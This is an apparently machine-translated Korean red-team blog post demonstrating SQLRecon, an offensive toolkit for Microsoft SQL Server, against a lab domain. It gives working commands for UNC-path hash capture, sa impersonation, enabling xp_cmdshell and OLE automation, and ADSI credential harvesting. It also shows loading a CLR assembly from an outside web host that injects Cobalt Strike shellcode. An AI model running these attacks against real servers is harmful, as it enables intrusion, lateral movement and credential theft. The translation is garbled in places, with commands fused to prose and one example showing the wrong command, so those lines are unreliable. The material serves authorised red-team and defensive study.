데이터베이스 주의: SQLRecon을 이용한 Microsoft SQL Server 악용

저는 경력을 쌓는 동안 세계 최대 규모의 조직의 뒤를 엿볼 수 있는 특권을 누렸습니다. 제 경험상 대부분의 산업 분야는 엔터프라이즈 Windows 네트워크에 의존하고 있습니다. 실제로 탈중앙화 제로 트러스트 네트워크, 엔터프라이즈 Linux, macOS 네트워크 또는 Active Directory 대안(FreeIPA)을 본 횟수는 한 손으로 셀 수 있을 정도입니다.

이렇게 크고 복잡한 엔터프라이즈 네트워크를 탐색할 때 일반적으로 비즈니스 기능을 지원하기 위해 배포되는 Microsoft SQL Server를 발견하는 경우가 많습니다. SQL Server에 익숙하지 않은 독자를 위해 설명하자면, SQL Server는 일반적으로 Windows 서버 위에 설치되는 관계형 데이터베이스 소프트웨어라는 점입니다. SQL Server의 기본 목적은 데이터를 저장하고 애플리케이션이나 사용자에게 제공하는 것입니다.

이 블로그 게시물에서는 SQL Server에서 나타나는 공격 표면과 X-Force Red 도구를 사용하여 잘못된 구성 및 취약점을 악용하는 방법을 살펴봅니다. SQLRecon 또한 해당되는 경우 방어적인 고려 사항도 설명합니다.

SQL Server의 취약성 및 잘못된 구성은 잘 문서화되어 있습니다. 이러한 약점은 항상 존재하는 것처럼 보이지만, 방어 팀은 어떻게든 SQL Server를 강화하는 것을 계속 간과하는 경우가 많습니다. 제가 주로 언급하는 것은 기본 구성을 강화하고 서비스에 대한 사소한 접근을 방지하는 것입니다.

이러한 실수의 그럴듯한 정당한 이유 중 하나는 조직이 우선순위를 정하고 해결해야 하는 더 큰 위험이 있기 때문입니다. 결과적으로 프로덕션 데이터베이스 구성을 변경하면 가용성 문제가 발생할 수 있으며, 이는 운영 문제로 이어져 궁극적으로 비즈니스 생산성에 영향을 미칠 수 있기 때문에 SQL Server 강화는 무산됩니다.

엔터프라이즈 네트워크에서 가장 흔히 볼 수 있는 잘못된 구성 중 하나는 인증된 모든 도메인 개체가 낮은 권한 계정으로 SQL 서비스에 연결할 수 있다는 것입니다. 여기에는 유효한 도메인 컨텍스트만 필요합니다. 즉, 도메인 사용자 또는 도메인 컴퓨터 계정에 대한 유효한 토큰입니다.

예를 들어, 일반 비즈니스 사용자의 워크스테이션이 손상되고 잘못 구성된 SQL Server에 대한 네트워크 경로가 존재하는 경우 공격자는 다음과 같은 작업을 수행할 수 있습니다.

• 원격 SQL Server에서 제한된 SQL 명령을 실행합니다.
• 사칭 스타일 공격을 통해 에스컬레이션 기회를 제공할 수 있는 권한을 확인합니다.
• SQL Server에 UNC(범용 명명 규칙) 경로에 대한 요청을 통해 인증 자격 증명을 제공하도록 지시하면 해시된 자격 증명을 얻을 수 있으며, 이 자격 증명은 해독되거나 전달되어 중계 스타일 공격을 수행할 수 있습니다.
• 권한 상승으로 이어질 수 있는 다른 SQL Server에 연결된 SQL Server에 할당된 권한을 피기백합니다.

다음은 도메인 컨텍스트 내에서 잘못 구성된 SQL Server를 평가할 때 공격자가 얻을 수 있는 결과의 몇 가지 예일 뿐입니다. SQL Server가 제공하는 공격 표면은 항상 직면한 환경과 구성에 따라 달라집니다.

최근 레드팀 운영자들은 엔터프라이즈 Microsoft 네트워크에서 권한을 상승시키는 데 활용할 수 있는 다양한 Active Directory 남용으로 인해 많은 피해를 입고 있습니다. 그러나 방어 팀이 이러한 약점을 완화하는 데 능숙해지기 시작하면서 자연스럽게 Active Directory를 남용하여 권한을 상승시킬 수 있는 방법이 고갈되는 경향이 있습니다.

그럼에도 불구하고 우리는 목표를 달성하는 데 도움이 될 에스컬레이션 경로를 낙관적으로 모색하면서 공격의 속담에 따라 계속 나아가고 있습니다. 오랫동안 SQL Server를 공격하는 것은 저에게 있어 상당히 낮은 순위였다는 사실을 인정하기는 다소 꺼려집니다. 대신 공유 스토리지 공간, 내부 웹 애플리케이션, DevOps 툴링 또는 클라우드 인프라 등의 우선순위를 정하기로 했습니다. 아마 제가 무슨 말을 하려는지 아실 수 있을 겁니다...

2022년의 어느 시점, 저는 참여 중이었고 선호하는 에스컬레이션 경로를 모두 소진한 후 정체 지점에 도달했습니다. 이는 매우 잘 갖춰진 환경 덕분이었습니다. 적어도 잘못된 구성이나 취약성이 있는 대규모 SQL Server 팜을 발견하기 전에는 그렇게 생각했습니다.

당시에는 저도 몰랐고 이 블로그 게시물을 작성한 후에야 Kaspersky가 2022년에 SQL Server를 사용한 반복 공격이 56% 증가했다는 사실을 발견했습니다. 이는 엄청난 양입니다.

레드팀 운영자로서 저는 명령 및 제어(C2) 프레임워크를 사용하여 고객의 네트워크에서 손상된 시스템과 종종 상호 작용합니다. 운이 좋게도 우리와 협력할 수 있는 고객은 일반적으로 성숙한 사이버 보안 프로그램, 유능한 방어 팀, 엔드포인트 탐지 및 대응(EDR) 솔루션과 같은 최신 보안 제어를 보유하고 있습니다.

SQL Server를 공격하기 위한 몇 가지 도구가 수년에 걸쳐 개발되었습니다. 펜 테스팅을 할 때 항상 손이 가는 것은 다음과 같습니다. PowerUpSQL 이 프로젝트는 Scott Sutherland(@_nullbind)가 주로 PowerShell로 개발한 프로젝트입니다.

EDR 솔루션은 공격적인 보안을 위해 설계된 악성 오픈 소스 툴링, 특히 PowerShell에 의존하는 툴링을 탐지하는 데 탁월한 성능을 발휘하기 때문에 강력한 상대가 될 수 있습니다. 제가 처한 환경에서 직면한 문제에 대한 해결책이 아니었을 뿐, PowerShell 사후 악용 도구가 목적에 부합한다는 의미는 아닙니다.

제가 참여하면서 직면한 문제는 Microsoft SQL Server에 연결하여 잘못된 구성이나 취약점이 있는지 확인하기 위한 조사를 시작해야 한다는 것이었습니다. 하지만 PowerShell을 사용하는 기존 SQL Server 사후 악용 도구를 사용하는 것이라면 방어 팀에 잡힐 수 있는 확실한 방법이었을 것입니다. 이는 여러 가지 이유 때문이며, 자세히 설명하지는 않겠습니다. 하지만 PowerShell은 AMSI, 제한된 언어 모드, 다양한 로깅 방식 같은 보안 기능 때문에 공격 후 공격을 효과적으로 처리하는 데 이상적인 수단이 아닙니다. 이는 EDR 솔루션과 기타 로깅 및 모니터링 제어가 마련되어 있는 경우에만 더욱 복잡해집니다.

대안으로, 레드팀 운영자는 Windows API와 함께 .NET 프레임워크와 쉽게 인터페이스할 수 있는 방법을 제공하기 때문에 악용 후 툴링을 개발할 때 사용할 언어로 C#을 선택하는 경우가 많습니다.

저는 C# 또는.NET 개발자는 아니지만 제가 직면한 문제를 해결하는 도구를 작성할 수 있을 만큼 충분히 알고 있습니다. 대기열 SQLRecon , 공격 정찰 및 사후 악용을 위해 설계된 C# SQL 툴킷입니다.

SQLRecon  레드팀 운영자가 SQL Server를 공격할 때 취할 수 있는 접근 방식을 현대화하여 악용 후 툴링 격차를 해결하는 데 도움이 됩니다. 이 도구는 모듈식으로 설계되어 쉽게 확장할 수 있습니다. SQLRecon  독립형 또는 다양한 C2 프레임워크 내에서 호환됩니다. 후자를 사용하는 경우, SQLRecon  프로세스 중 또는 기존의 포크 앤 런을 통해 실행할 수 있습니다.

SQLRecon  80개 이상의 모듈 중에서 선택할 수 있습니다. 아래는 다음에서 제공하는 일부 기능에 대한 개괄적인 개요입니다. SQLRecon :

인증 공급자

• 로컬 SQL Database 계정
• 현재 토큰을 기반으로 하는 Windows 도메인 인증
• 사용자 제공 자격 증명을 사용한 Windows 도메인 인증
• Azure 도메인 인증
• Azure 로컬 인증

열거 모듈

• SPN(서비스 사용자 이름)과 연결된 SQL Server 찾기
• SQL 서비스에 대한 정보 얻기
• SQL Server 내의 권한 결정
• 데이터베이스, 테이블, 열 및 사용자 목록 보기
• 콘텐츠 데이터베이스 검색
• 임의 쿼리 실행
• 사칭할 수 있는 사용자 열거
• 연결된 SQL Server 식별

명령 실행, 수평 이동 및 권한 에스컬레이션

• xp_cmdshell
• OLE 자동화 절차
• 사용자 지정 .NET CLR 어셈블리 로드 및 실행
• SQL 에이전트 채용
• ADSI 자격 증명 수집

운영 보안

• 지속적인 인증 유효성 검사
• 광범위한 명령줄 로깅
• SQL Server 옵션의 활성화 또는 비활성화 여부에 따른 실행 가드레일
• 인수 오류 처리
• 해당되는 경우 무작위 영숫자 SQL 콘텐츠 생성
• 명령 실행을 위해 SQL Server에서 생성된 데이터의 자동 정리

기타

• 데이터베이스 컨텍스트 전환 기능
• 비표준 TCP 포트에서 수신 대기하는 SQL Server에 연결
• 사칭형 공격에 대한 지원
• 연결된 SQL Server를 열거하고 공격하는 기능
• 다양한 Microsoft Systems Center 구성 관리자(SCCM) 및 Microsoft 엔드포인트 구성 관리자(ECM) SQL Database 공격에 대한 지원
• 모든 SQL 쿼리는 Microsoft에서 개발한 System.Data.SqlClient  네임스페이스를 사용합니다

각 기술에 대한 자세한 사용법은 위키를 참조하세요.

다가오는 데모를 위한 무대를 마련하기 위해 Jeff Smith가 소유한 손상된 Windows 10 워크스테이션에서 작업할 것입니다.(JSmith) 이는 kawalabs.local  엔터프라이즈 네트워크에 있습니다.

Jeff의 워크스테이션에는 각각 다른 버전(2016, 2019, 2022)을 실행하는 세 개의 SQL Server로 연결되는 네트워크 경로가 있습니다.

SQL 링크가 다음 사이에 구성되었습니다 SQL01  및 SQL02 및 다른 SQL 링크 사이에서 구성되었으며, 이는 다음 사이에서 구성되었습니다. SQL02  및 SQL03 연결된 SQL Server에 익숙하지 않은 독자의 경우, 이를 통해 한 SQL 인스턴스가 다른 SQL 인스턴스에서 SQL 문을 실행할 수 있습니다. 예를 들어, SQL01 은(는) SQL 문을 실행할 수 있습니다. SQL02, 및 SQL02 은(는) SQL03에서는 명령문을 실행할 수 있지만 SQL01은 SQL03에서 명령문을 실행할 수 없습니다. SQL03  그리고 그 반대도 마찬가지입니다. 실제 기업 네트워크에서는 연결된 SQL Server를 흔히 볼 수 있습니다.

또한 Active Directory 서비스(ADSI) 링크가 다음 사이에 존재합니다 SQL03  및 기본 도메인 컨트롤러 사이에 있으며, 이는 kawalabs.local  도메인,DC01 에 있습니다. ADSI 링크는 SQL Server에 Active Directory 개체와 상호 작용할 수 있는 방법을 제공합니다.

마지막으로 kawalabs.local  도메인이 Azure Active Directory 도메인 kawalabs.onmicrosoft.com  Azure AD Connect를 사용합니다. 이를 통해 온프레미스 Active Directory 사용자는 kawalabs.local  에서 Azure 클라우드의 리소스에 액세스할 수 있습니다. 그리고  kawalabs.onmicrosoft.com  Azure AD 테넌시에는 결제 데이터를 저장하는 SQL Server가 포함되어 있습니다. ECOM01 .

그림 1: 네트워크 구성

더 나아가, 저는 인기 있는 명령 및 제어 프레임워크인 Cobalt Strike를 활용해 Jeff의 침해된 워크스테이션에서 악용 후 작업을 수행할 예정입니다(DESKTOP-LF8Q3C6) . 다음 스크린샷에서는 whoami  명령어를 사용해 실행했습니다. 이는 Jeff가 권한이 있는 사용자가 아니며 kawalabs.local  도메인과 더 넓은 네트워크 내에서 기본 권리를 가지고 있음을 표시하기 위함입니다.

그림 2: whoami 명령 실행

이 글을 쓰는 시점에는SQLRecon 에는 네트워크에서 SQL Server를 검색하고 SQL Server 인스턴스에 대한 일부 정보를 얻는 데 사용할 수 있는 두 개의 열거 모듈이 있습니다. 다음 명령은 Active Directory SPN(서비스 계정 이름)을 열거하고 SQL 서버에 대해 설정된 SPN이 있는지 확인합니다. kawalabs.local 도메인에는 몇 개의 서로 다른 계정에 대해 SPN이 설정되어 있으며, 이는 아래 스크린샷에서 확인할 수 있습니다.

SQLRecon.exe /e:SqlSpns /d:kawalabs.local

그림 3: SPN 컬렉션을 통한 SQL Server 검색

 info  모듈은 서버에 대한 추가 정보를 얻는 데 매우 유용합니다. 아래 예는 SQL Server에서 검색되는 정보 유형을 보여줍니다.

SQLRecon.exe /a:winToken /h:SQL02 /m:info

그림 4: SQL02에 대한 정보 가져오기

표준 모듈에서 열거 모듈에 기여한 Daniel Duggan(@_RastaMouse)에게 SQLRecon .

표준 모듈은 SQL Server의 단일 인스턴스에 대해 실행됩니다.

다음 예시에서는 AzureAD  인증 공급자를 사용합니다. 이는 Azure Active Directory 계정의 사용자 이름과 암호를 사용하여 ECOM01 에 대해 인증하며, 이는 Azure 클라우드에 위치한 SQL 인스턴스입니다. 그런 다음 whoami  모듈을 사용하여 Jeff가 가지고 있는 권한을 결정합니다. ECOM01 .

SQLRecon.exe /a:azuread /d:kawalabs.onmicrosoft.com /u:jsmith /p:xxxx /h:ecom01.database.windows.net /m:whoami

그림 5: 에 대한 SQL 권한 열거jsmith@kawalabs.onmicrosoft.com

기본적으로, SQLRecon 이(가) master  데이터베이스에 연결됩니다. 이 데이터베이스는 일반적으로 모든 SQL Server 인스턴스에 존재하기 때문입니다. 하지만 databases  모듈을 사용하여 SQL Server 인스턴스의 다양한 데이터베이스를 모두 쉽게 나열할 수 있습니다.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases

그림 6: 다음에서 데이터베이스 열거하기 ECOM01

/database : 플래그로 데이터베이스 이름을 지정하여 다른 데이터베이스에 연결하고 실행하고 싶은 모듈을 전달할 수 있습니다. 아래 예에서 Payments  데이터베이스를 ECOM01 에서 연결하고 cc  테이블에서 모든 콘텐츠를 가져오는 사용자 지정 SQL 쿼리를 실행합니다.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"

그림 7: 다음에서 더미 카드 데이터 가져오기 cc  테이블( Payments  데이터베이스를 ECOM01

좀 더 흥미로운 모듈로 넘어가면, SQLRecon  은(는) 낮은 권한의 사용자 계정으로 수행할 수 있는 UNC 경로 삽입을 지원합니다(예: KAWALABS\JSmith ). 이로 인해 자격 증명이 획득될 수 있으며, 이는 다시 해독되거나 전달 스타일 공격을 수행하기 위해 전달될 수 있습니다. 다음 예시에서는 WinToken  인증 공급자를 사용하며 이는 KAWALABS\JSmith  사용자 계정을 위한 토큰을 사용하여 온프레미스 서버 SQL02 에 대해 인증합니다.

SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects

그림 8: UNC 경로 주입

다음 스크린샷에서는 SQL02 을(를) 통해 (172.16.10.19)를 제어할 수 있는 호스트로 연결되는 것을 볼 수 있습니다. 이렇게 하면 NetNTLMv2 해시를 KAWALABS\mssql_svc  도메인 계정에 대해 얻게 됩니다.

그림 9: 다음을 위한 NetNTLMv2 해시 가져오기 KAWALABS\mssql_svc

SQLRecon 에는 기본 시스템에서 임의의 명령을 실행하는 데 사용할 수 있는 다양한 명령 실행 모듈이 있습니다. 이것은 권한 상승과 수평 이동을 수행하려는 경우에 특히 유용합니다. 운영 보안이 기본적으로 활성화되도록 SQLRecon 전반에 걸쳐 중요한 가드레일이 구현되었습니다. 두 가지 주요 가드레일은 다음과 같습니다.

• 지속적인 인증 유효성 검사,  SQLRecon  모듈을 실행하기 전에 도메인 또는 SQL Server에 대해 인증할 수 있는지 검증합니다.
• 실행 가드레일, SQLRecon  객체를 로드하거나 객체를 생성하거나 명령을 실행하는 모듈을 실행하기 전에 최적 조건이 존재하는지 검증합니다.

xp_cmdshell 은(는) 오랫동안 SQL database를 통해 기본 서버에서 명령을 실행할 수 있는 가장 일반적인 방법 중 하나였습니다. 다음 예제에서는 낮은 권한 KAWALABS\JSmith  계정을 사용하여 notepad.exe  애플리케이션을 SQL01 .

SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe에서 실행하려고 했습니다.

그림 10: 명령 실행을 방지하는 가드레일 데모 시연

위 이미지에서 볼 수 있듯이 실행 가드레일이 발생하고 xp_cmdshell  이(가) 비활성화되어 있다는 오류 메시지가 수신됩니다. 이는 일반적으로 대부분의 SQL Server 버전에서 기본 구성입니다. 좋은 점은 SQLRecon  이(가) enableXp  모듈을 가지며, 이는 xp_cmdshell  구성을 활성화하게 된다는 것입니다. 또한 SQLRecon에는 disableXp  모듈이 있어 xpCmd .

SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp로 명령을 실행한 후 원래의 보안 상태로 되돌릴 수 있습니다.

그림 11: 권한이 부족하여 명령 실행이 이루어지지 않는 또 다른 가드레일의 시연

예상대로 낮은 권한 KAWALABS\JSmith  계정은 실행 가드레일이 발생하여 xp_cmdshell 을(를) 활성화 또는 비활성화하는 데 필요한 권한이 없다는 메시지를 받았습니다. 정말 그럴까요?

SQL 사칭은 본질적으로 사용자 또는 그룹이 다른 사용자의 권한과 자신의 권한으로 동작할 수 있도록 하는 특별한 권한입니다. 다음 스크린샷은 SQL02 의 백엔드 구성에서 가져온 것이며 BUILTIN\Users  은(는) sa  계정을 사칭할 수 있음을 보여줍니다.

그림 12: BUILTIN\Users  은(는) 다음을 사칭할 수 있습니다. sa  계정은 SQL02

SQLRecon  이(가) impersonate  모듈에서 사용자 계정이 다른 사용자를 사칭할 수 있는지 확인할 수 있습니다.

SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate

아래 스크린샷에서 볼 수 있듯이 KAWALABS\JSmith  낮은 권한 사용자 계정은 sa  계정은 SQL02 을(를) 가장할 수 있습니다. 이는 관리자와 유사한 권한으로 SQL 인스턴스에서 명령을 실행할 수 있는 기능을 보여줍니다. 더욱이 이는 이제 기본 서버에서 시스템 명령을 실행할 수 있다는 것을 의미합니다.

그림 13: 다음에서 사칭할 수 있는 계정 열거하기 SQL02

다른 명령 실행 모듈을 시연하기 위해 SQLRecon  은(는) OLE 자동화 프로시저를 사용하여 기본 사용자에 대한 명령을 실행할 수 있습니다. 이것은 odsole70.dll  어셈블리를 사용하여 COM 객체와 상호 작용할 수 있어 wscript.shell 을(를) 임의의 시스템 명령을 실행하는 데 활용할 수 있습니다.

가장 모듈은 항상 i 문자가 앞에 추가되며 이러한 모듈에는 사칭할 계정의 이름이 필요합니다. 다음 예에서는 SQL02 에 낮은 특권 KAWALABS\JSmith  계정으로 연결하며 sa  계정을 가장하여 OLE 자동화 절차 SQL02 .

a:WinToken /h:SQL02 /i:sa /m:iEnableOle에서 활성화합니다.

그림 14: 사칭을 사용한 OLE 자동화 절차 활성화

이제 OLE 자동화 프로시저가 활성화되었습니다. SQL02 , SQL Server 프로세스를 시작한 사용자 계정의 컨텍스트에서 기본 서버에서 임의의 명령을 실행할 수 있습니다. 다음 예제에서는 이전에 NetNTLMv2 자격 증명을 캡처하는 데 사용된 공유의 디렉토리를 나열하는 PowerShell 하위 프로세스를 실행합니다. 이는 주로 데모용이며 일반적으로 적의 시뮬레이션 교전에서 수행되는 행동이 아니라는 점을 명심하세요.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"

그림 15: PowerShell을 사용하여 원격 호스트의 디렉토리 나열

위의 스크린샷에서 볼 수 있듯이 무작위로 생성된 OLE 객체와 메서드가 생성되고 악성 명령이 실행된 후 OLE 객체가 파괴됩니다. 이는 저희의 행동에 대한 증거를 남기지 않으려는 의도적인 조치입니다.

다음 스크린샷에서는 KAWALABS\mssql_svc  사용자 계정으로 만들어진 연결이 SQL02 을(를) 통해 (172.16.10.19)를 제어할 수 있는 호스트로 이루어지는 것을 볼 수 있습니다. 이렇게 하면 KAWALABS \mssql_svc  컴퓨터 계정에 대해 NetNTLMv2 해시를 얻게 됩니다.

그림 16: 다음을 위한 NetNTLMv2 해시 가져오기 KAWALABS\mssql_svc

다음 예시는 사칭을 사용하여 tasklist  명령을 실행하는 예시를 보여주며, 이는 xp_cmdshell  다음에서 SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist

그림 17: xp_cmdshell  활성화 및 다음에서 사칭을 사용하여 시스템 명령 실행 SQL02

구성을 원래 상태로 되돌리는 것이 항상 좋은 방법입니다.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp

그림 18: OLE 자동화 절차 비활성화 및 xp_cmdshell  다음에서 SQL02

SQLRecon   또한 연결된 SQL Server 인스턴스에 대한 공격을 수행할 수 있습니다. 다음 스크린샷은 SQL02 의 백엔드 구성에서 가져온 것이며 SQL02 은(는) 다음에 대한 링크가 있습니다. SQL03  백엔드 구성에서 가져온 것입니다. 제 경험에 따르면 이는 대규모 엔터프라이즈 네트워크에서 흔히 볼 수 있는 구성입니다.

그림 19: SQL02 은(는) 다음에 대한 SQL 링크가 있습니다. SQL03

SQL Server 인스턴스에서 다른 SQL Server 인스턴스로 링크를 구성하려면 링크를 설정하고 바인딩하기 위한 일련의 권한이 있는 자격 증명이 필요한 경우가 많습니다. 이는 연결을 설정한 계정의 컨텍스트에서 연결된 SQL Server에서 명령을 실행할 수 있으므로 공격자에게 유용합니다. 또 다른 고려 사항은 연결된 서버가 공격자가 운영 중인 네트워크에서 분리되어 있을 수 있다는 점입니다. 이를 통해 세그멘테이션 경계를 넘어 보안 요구 사항이 더 높은 네트워크 영역에 진입할 수 있습니다.

SQLRecon 에는 links  모듈이 있어 SQL Server에 연결된 SQL Server 인스턴스가 있는지 확인합니다.

SQLRecon.exe /a:WinToken /h:SQL02 /m:links

그림 20: 연결된 SQL Server 열거 SQL02

연결된 모듈 앞에는 항상 l  문자가 있으며, 그리고 이러한 모듈에는 명령을 내리고자 하는 연결된 서버의 이름이 필요합니다. 다음 예에서는 SQL02 에 낮은 특권 KAWALABS\JSmith  계정으로 연결하고 lWhoami  명령을 연결된 SQL03  인스턴스에 대해 발행합니다.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami

그림 21: 가정할 수 있는 SQL 권한 열거 SQL03  다음을 통해 SQL02

위 스크린샷에서 볼 수 있듯이 sa  계정은 SQL03  맥락에서 운영하고 있습니다. 다음에서 SQL 링크를 설정하는 데 sa 계정이 사용되었기 때문입니다. SQL02  에 SQL03 .

모든 실행 모듈(SQLRecon )은 연결된 SQL Server에서 완전히 지원됩니다. 다음 예제에서는 다음에서 CLR(공용 언어 런타임) 통합을 활성화합니다. SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr

그림 22: CLR 통합 활성화 SQL02

CLR 통합을 통해 사용자 지정 .NET 어셈블리를 SQL Server로 가져올 수 있습니다. 이러한 어셈블리는 실행되기 전에 저장 프로시저 내부에 저장됩니다. 이것은 멋진 수평 이동 공격 프리미티브입니다.

다음 스크린샷에서는 다음과 같은 사용자 지정 SQL Server CLR 호환 .NET 어셈블리를 만들며 이는 hollow.dll (으)로 불립니다. 이렇게 하면 Cobalt Strike 페이로드가 다음과 같은 저장 프로시저에 저장됩니다. ExecuteShellcode . 페이로드는 기본 프로세스 할로잉을 수행하고 새로 생성된 Internet Explorer에 Cobalt Strike 셸코드를 주입합니다.(iexplore.exe) 프로세스를 식별했습니다.

그림 23: hollow.dll , SQL Server CLR과 호환되는 .NET 어셈블리

사용자 지정 SQL Server CLR 호환 .NET 어셈블리에 대해 자세히 알아보려면. SQLRecon  위키 섹션을 참조하세요. hollow.dll  예시는 여기에서 찾을 수 있습니다.

다음 데모에서는 hollow.dll 을(를) 웹 서버에 업로드하고 어셈블리 이름을 favicon.png (으)로 지정했습니다. 연결된 SQL03  서버를 지시하여 웹 서버에서 favicon.png  을(를) 다운로드하고 사용자 지정 어셈블리를 SQL Server 저장 프로시저로 가져오고 페이로드를 실행하는 데 필요한 단계를 수행합니다. 이는 다음과 같은 맥락에서 Cobalt Strike 비콘을 얻는 결과를 가져옵니다. KAWALABS\mssql_svc  사용자 SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode

그림 24: 다음과 같은 상황에서 Cobalt Strike 비콘 확보 KAWALABS\mssql_svc  다음에서 SQL03

물론, 앞선 예시에서는 SQL03 에 공개 웹 서버에서 어셈블리를 다운로드할 수 있는 인터넷 액세스 권한이 있어야 합니다. 공개 웹 서버에서 외부 리소스를 다운로드하는 것이 불가능하거나 바람직하지 않은 경우가 있습니다. 따라서 SQLRecon 은(는) 사용자 지정 어셈블리를 손상된 호스트의 파일 시스템 또는 SMB 공유에서 직접 로드할 수 있습니다. 다음 데모에서는 hollow.dll 을(를) 로컬 SMB 서버에 업로드하고 SMB 서버에서 어셈블리 이름을 Reports.xlsx (으)로 지정했습니다. 연결된 SQL03  서버를 지시하여 웹 서버에서 Reports.xlsx (으)로 지정하고 사용자 지정 어셈블리를 SQL Server 저장 프로시저로 가져오고 페이로드를 실행하는 데 필요한 단계를 수행합니다. 이는 다음과 같은 맥락에서 Cobalt Strike 비콘을 얻는 결과를 가져옵니다. KAWALABS\mssql_svc  사용자 SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode

그림 25: 다음 맥락에서 Cobalt Strike 비콘 획득

 KAWALABS\mssql_svc<code> on <code>SQL03

SQLRecon  또한 연결된 ADSI 서버 인스턴스에 대한 공격을 수행하여 도메인 계정에 대한 자격 증명을 얻을 수 있습니다. ADSI 트레이드크래프트에 대한 추가 정보는 Tarlogic 블로그 게시물을 참고해 주세요. 다음 스크린샷은 백엔드 구성에서 가져온 것입니다. SQL03 의 백엔드 구성에서 가져온 것이며 SQL03 은(는) 기본 도메인 컨트롤러에 대한 ADSI 링크가 kawalabs.local  도메인,DC01  에 있습니다. 이 ADSI 링크는 linkADSI  객체로 표현됩니다.

그림 26: SQL03 은(는) 다음에 대한 ADSI 링크가 있습니다. DC01

SQL Server 인스턴스에서 Active Directory 도메인 컨트롤러로 ADSI 링크를 구성하는 데 권한 있는 자격 증명이 반드시 필요한 것은 아닙니다. 하지만 실제 운영에서는 최소 권한의 원칙이 적용되지 않는 사례를 보았습니다.

다음 예시에서는 lLinks  모듈은 SQL02 에 처음 연결하고 SQL03 을(를) 추가로 연결된 SQL Server 용으로 쿼리합다. 이를 이중 링크 시나리오라고 생각하면 됩니다.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks

그림 27: 링크 열거 SQL03  다음에서 SQL02

이제 SQL03 에 ADSI 링크가 존재하는지 확인했으며, lAdsi  모듈을 활용하여 ADSI 연결을 구성하는 데 사용되는 일반 텍스트 도메인 자격 증명을 가져올 수 있습니다. SQL03  에 DC01 . 여기에는 LDAP 서버가 포함된 사용자 지정 CLR 어셈블리를 다음에서 새 SQL Server 런타임 루틴에 업로드하는 작업이 포함됩니다. SQL03 . 그런 다음 LDAP 서버는 사용자가 제공한 포트(이 경우 49103)에서 로컬 전용 연결을 실행하고 수신 대기합니다. 그런 다음 SQL Server 에이전트 작업을 활용하여 포트 49103의 로컬 LDAP 서버에 LDAP 요청을 요청하도록 ADSI 연결을 구성하는 데 사용되는 자격 증명을 지시합니다. 이 임시 LDAP 인증 리디렉션을 통해 궁극적으로 일반 텍스트 도메인 자격 증명을 얻을 수 있습니다. 참고로 Adsi 및 iADSI 모듈은 LDAP 요청 프로세스를 시작하는 데 SQL Server 에이전트 작업을 사용하지 않고 대신 표준 SQL Query를 사용합니다.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103

그림 28: 이중 링크 ADSI 자격 증명 수집 공격

가장 큰 확장 중 하나(SQLRecon )는 제 동료 Dave Cossa(@G0ldenGunSec)가 소개한 것으로, 그는 Microsoft System Center Configuration Manager(SCCM)와 Microsoft Endpoint Configuration Manager(ECM)를 악용할 수 있는 다양한 모듈을 도입하여 활용할 수 있습니다. SCCM 모듈은 실제 참여를 바탕으로 개발되었으며, SCCM SQL Server 데이터베이스를 남용함으로써 목표 달성을 촉진할 수 있었습니다. 대부분의 경우 SCCM 데이터베이스와 상호 작용하려면 상승된 권한 컨텍스트를 얻거나 SCCM 서버에 대한 액세스 권한을 얻어야 합니다. 아래 예에서 Cobalt Strike 비콘을 KAWALABS\mssccm_svc  계정의 컨텍스트에서 실행하고 있습니다. 이는 다음 ECM 서버의 계정입니다. MECM01 .

여기서부터는 간단히 ECM과 SCCM을 모두 SCCM이라고 부르겠습니다.

다음 예제에서는 데이터베이스 모듈을 사용하여 다음을 열거합니다.databases 이는 다음에서 SQL Server 인스턴스에 존재합니다. MECM01 .

SQLRecon.exe /a:WinToken /h:MECM01 /m:databases

그림 29: 다음에서 데이터베이스 열거 MECM01

스크린샷 위에서 볼 수 있듯이 CM_KAW  데이터베이스가 존재하며, 이 서버에서 SCCM용으로 구성된 데이터베이스일 가능성이 높습니다.

SCCM 모듈 앞에는 항상 s  문자가 붙으며, 이러한 모듈에는 명령을 실행하려는 SCCM 데이터베이스의 이름이 필요합니다. 다음 예시에서 CM_KAW  데이터베이스를 MECM01 을(를) KAWALABS\mssccm_svc  계정으로 연결하고 sUsers  명령을 발행합니다. 이 모듈은 SCCM 서버에 로그온하도록 구성된 모든 주체를 열거합니다.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

그림 30: SCCM SQL Server 데이터베이스를 통해 SCCM에 로그인할 수 있는 모든 사용자 열거

다음을 사용하여 SCCM에서 구성된 작업을 열거할 수도 있습니다. sTaskList  모듈을 사용하여 SQL Server 인스턴스의 다양한 데이터베이스를 모두 쉽게 나열할 수 있습니다.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

그림 31: SCCM SQL Server 데이터베이스를 통해 SCCM에 구성된 작업 열거

